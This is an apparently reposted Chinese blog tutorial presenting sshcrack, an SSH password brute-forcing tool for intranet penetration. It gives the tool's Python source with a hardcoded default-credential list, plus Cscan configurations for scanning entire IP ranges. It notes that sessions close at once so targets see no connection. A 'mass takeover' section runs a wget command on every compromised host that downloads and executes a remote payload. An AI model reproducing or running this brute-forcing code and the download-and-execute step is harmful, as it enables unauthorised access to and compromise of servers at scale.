[原創]內網SSH密碼爆破工具sshcrack(配合Cscan批量弱口令檢測)


0x000 前言

sshcrack是一個命令行下的SSH密碼爆破工具,適用於內滲中SSH密碼檢測

當然也可用於外網SSH密碼爆破,支持Windows/Linux,其它系統未測。Tip1

0x001 目錄

1.sshcrack用法

2.Cscan批量掃描

3.連接SSH執行命令

4.sshcrack源碼

5.SSH批量上控

6.工具下載

0x002 用法

指定SSH服務器密碼檢測

弱口令檢測 (-crack 用戶密碼可隨便寫,因為帳密列表已寫死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK

單密碼驗證 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK

 

0x003 批量SSH服務器密碼檢測

以下功能可使用Ladon SshScan模塊,更簡單易用。

0.將Cscan.exe Cscan.ini sshcrack.exe放置同一目錄

Cscan.ini內容如下

1.爆破弱口令(當前無密碼或已獲取多個帳密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack

2.驗證一個已知密碼(快速檢測內網其它機器是否使用同一帳密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test

 3.Cscan掃描單個C段/B段/A段機器

cscan 192.168.1.108 (單個IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8  (A段)

4.Cscan批量IP/批量C段/批量B段掃描

新建 ip24.txt或ip16.tx或ip.txt 文件,然后輸入Cscan即可(無需其它參數)

以下Cscan.ini不指定端口,因通過K8portscan識別出來非22端口

不指定端口意味着ip.txt里需要填寫上對應SSH端口

0x004 連接SSH執行命令

1.sshshell交互式連接

sshshell.exe 192.168.1.106 22 root toor

sshshell.exe 單文件交互式SSH連接工具(優點類似putty可保持會話,缺點也類似putty保持連接)

2.sshcmd命令行非交互式

優點都是執行完命令立即注銷會話(即目標機看不到網絡連接),內網滲透專用

3.滲透專版SSH連接工具GUI版

優點都是執行完命令立即注銷會話(即目標機看不到網絡連接),滲透專用,內網可代理出來或外網SSH連接時用

當然也可用於日常VPS管理用,GUI版帶文件管理,支持上傳下載單個文件或整個目錄

 

0x005 sshcrack源碼

建議密碼寫死,方便配合Cscan批量掃描,要不然每掃一台,sshcrack就讀取一下密碼列表,可能會影響批量效率。

以下是例子,大家可自行修改,根據自身項目添加對應密碼字典,腳本還需完善,如跑出root密碼后停止檢測root用戶或者不再爆破。

#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logging.raiseExceptions=False
def checkSSH(host,port,user,pwd):
	try:
		ssh.connect(host,port,user,pwd)
		print host+' '+port+' '+user+' '+pwd+' LoginOK'
	except:
		pass
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
pwd=sys.argv[4]
type=sys.argv[5]
if type=='-test':
	checkSSH(host,port,user,pwd)
elif type=='-crack':
	checkSSH(host,port,'root','123456')
	checkSSH(host,port,'root','cisco')
	checkSSH(host,port,'root','Cisco')
	checkSSH(host,port,'admin','123456')
	checkSSH(host,port,'cisco','123456')
	checkSSH(host,port,'cisco','cisco')
	checkSSH(host,port,'Cisco','Cisco')
	checkSSH(host,port,'cisco','cisco123')
	checkSSH(host,port,'admin','admin')
	checkSSH(host,port,'root','Admin')
	checkSSH(host,port,'root','toor')
	checkSSH(host,port,'root','Admin123')
	checkSSH(host,port,'root','system')
	checkSSH(host,port,'root','system123')
	checkSSH(host,port,'root','System')
	checkSSH(host,port,'root','System123')
	checkSSH(host,port,'root','Admin123!@#')
	checkSSH(host,port,'root','root123!@#')
	checkSSH(host,port,'root','root2019')
	checkSSH(host,port,'root','root2018')
	checkSSH(host,port,'root','root2017')
	checkSSH(host,port,'root','root2016')
	checkSSH(host,port,'root','root2015')
	checkSSH(host,port,'root','root2014')
	checkSSH(host,port,'root','root2013')
	checkSSH(host,port,'root','root2012')
else:
	checkSSH(host,port,user,pwd)

0x006 Linux批量上控

通過調用sshcmd.exe可實現批量驗證SSH密碼或者批量上控

詳見: [教程]K8Cscan調用外部程序例子(Win/Linux批量上控)

ip.txt內容  格式: IP 端口 用戶 帳密

192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test

Cscan.ini內容

[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"

0x007 工具下載

https://github.com/k8gege/sshshell

https://github.com/k8gege/K8tools

https://github.com/k8gege/K8CScan

 

Tip1: Python寫的程序一定跨平台?

Python雖是跨平台語言,但不見得Python寫的程序一定支持所有系統

支不支持主要是看寫代碼的人,比如有些依賴包僅Linux下或Win下可用

你直接調用人家的包,未做任何修改,你認為一定是跨平台嗎???

就算是只用原生包寫的功能,也不能保證完全兼容

有些功能針對於不同系統需做不同的處理

 

Tip2: SSH連接工具詳細說明

[原創]內網滲透專用SSH連接工具sshcmd/sshshell/ssh密碼破解以及Kali開啟SSH

https://www.cnblogs.com/k8gege/p/10991264.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM